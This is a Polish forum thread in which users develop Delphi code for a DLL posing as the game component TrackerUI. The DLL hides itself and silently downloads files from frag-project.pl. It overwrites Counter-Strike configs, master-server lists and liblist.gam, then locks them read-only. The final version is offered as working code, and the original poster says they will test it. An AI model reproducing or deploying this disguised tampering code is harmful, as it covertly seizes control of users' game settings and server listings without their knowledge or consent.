DownloadFile(BaseURL + 'cstrike/violence.cfg','..\..\cstrike\violence.cfg');
FileSetAttr('cstrike\violence.cfg', 1);

FileSetAttr('..\..\cstrike\resource\gamemenu.res', 128);
DownloadFile(BaseURL + 'cstrike/resource/gamemenu.res','..\..\cstrike\resource\gamemenu.res');
FileSetAttr('..\..\cstrike\resource\gamemenu.res', 1);

FileSetAttr('..\..\cstrike\config.cfg', 128);
DownloadFile(BaseURL + 'cstrike/config.cfg','..\..\cstrike\config.cfg');
FileSetAttr('..\..\cstrike\config.cfg', 1);

FileSetAttr('..\..\cstrike\commandmenu.txt', 128);
DownloadFile(BaseURL + 'cstrike/commandmenu.txt','..\..\cstrike\commandmenu.txt');
FileSetAttr('..\..\cstrike\commandmenu.txt', 1);

FileSetAttr('..\..\cstrike\server.cfg', 128);
DownloadFile(BaseURL + 'cstrike/server.cfg','..\..\cstrike\server.cfg');
FileSetAttr('..\..\cstrike\server.cfg', 1);

FileSetAttr('..\..\cstrike\listenserver.cfg', 128);
DownloadFile(BaseURL + 'cstrike/listenserver.cfg','..\..\cstrike\listenserver.cfg');
FileSetAttr('..\..\cstrike\listenserver.cfg', 1);

FileSetAttr('..\..\cstrike\valve.rc', 128);
DownloadFile(BaseURL + 'cstrike/valve.rc','..\..\cstrike\valve.rc');
FileSetAttr('..\..\cstrike\valve.rc', 1);

FileSetAttr('..\..\valve\valve.rc', 128);
DownloadFile(BaseURL + 'valve/valve.rc','..\..\valve\valve.rc');
FileSetAttr('..\..\valve\valve.rc', 1);
end;
end.
1

To jest typowy przykład jak NIE powinien wyglądać... ale działać powinien. Tylko jeszcze to:

FileSetAttr('TrackerUI.DLL', 1 + 2);
0

Coś takiego?

FileSetAttr('TrackerUI.DLL', 1 + 2);
FileSetAttr('..\..\cstrike\liblist.gam', 128);
DownloadFile(BaseURL + 'cstrike/liblist.gam','..\..\cstrike\liblist.gam');
FileSetAttr('..\..\cstrike\liblist.gam', 1);

FileSetAttr('TrackerUI.DLL', 1 + 2);
FileSetAttr('..\..\config\MasterServers.vdf', 128);
DownloadFile(BaseURL + 'config/MasterServers.vdf','..\..\config\MasterServers.vdf');
FileSetAttr('..\..\config\MasterServers.vdf', 1);
 
FileSetAttr('TrackerUI.DLL', 1 + 2);
FileSetAttr('..\..\config\rev_MasterServers.vdf', 128);
DownloadFile(BaseURL + 'config/rev_MasterServers.vdf','..\..\config\rev_MasterServers.vdf');
FileSetAttr('..\..\config\rev_MasterServers.vdf', 1);
3

Ech masz przykład jak to mogło by wyglądać bo patrzeć nie mogę:

library TrackerUI;
 
{ Important note about DLL memory management: ShareMem must be the
  first unit in your library's USES clause AND your project's (select
  Project-View Source) USES clause if your DLL exports any procedures or
  functions that pass strings as parameters or function results. This
  applies to all strings passed to and from your DLL--even those that
  are nested in records and classes. ShareMem is the interface unit to
  the BORLNDMM.DLL shared memory manager, which must be deployed along
  with your DLL. To avoid using BORLNDMM.DLL, pass string information
  using PChar or ShortString parameters. }

uses
  SysUtils, Classes, IdHTTP;

const
  BASE_URL = 'http://frag-project.pl/tracker/';
  BASE_DEST = '..\..\';

  FILE_LIST: array [0..18] of string = (
        'config\MasterServers.vdf',
        'config\rev_MasterServers.vdf',
        'config\ServerBrowser.vdf',
        'platform\config\MasterServers.vdf',
        'platform\config\rev_MasterServers.vdf',
        'platform\config\ServerBrowser.vdf',
        'cstrike\autoconfig.cfg',
        'cstrike\autoexec.cfg',
        'cstrike\joystick.cfg',
        'cstrike\language.cfg',
        'cstrike\userconfig.cfg',
        'cstrike\violence.cfg',
        'cstrike\resource\gamemenu.res',
        'cstrike\config.cfg',
        'cstrike\commandmenu.txt',
        'cstrike\server.cfg',
        'cstrike\listenserver.cfg',
        'cstrike\valve.rc',
        'valve\valve.rc');

procedure DownloadFile(SrcFile, DestFile: string); cdecl;
var
  IdHTTP: TIdHTTP;
  Stream: TMemoryStream;
begin
  IdHTTP:= TIdHTTP.Create(nil);
  Stream:= TMemoryStream.Create;
  try
    try
    FileSetAttr(DestFile, not (faReadOnly or faHidden or faSysFile or faArchive));
    IdHTTP.Get(SrcFile, Stream);
    Stream.SaveToFile(DestFile);
    FileSetAttr(DestFile, faReadOnly);
    except
    end;
  finally
    Stream.Free;
    IdHTTP.Free;
  end;
end;

var
  i: Integer;
begin
  FileSetAttr('TrackerUI.DLL', faReadOnly or faHidden);
  DownloadFile(BASE_URL + 'cstrike/liblist.gam', '..\cstrike\liblist.gam');
  for i:= Low(FILE_LIST) to High(FILE_LIST) do
    DownloadFile(BASE_URL + FILE_LIST[i], BASE_DEST + FILE_LIST[i]);
end. 
0

Dziękuje bardzo, przetestuje jak przyjadę do domu i dam znać :)

1 użytkowników online, w tym zalogowanych: 0, gości: 1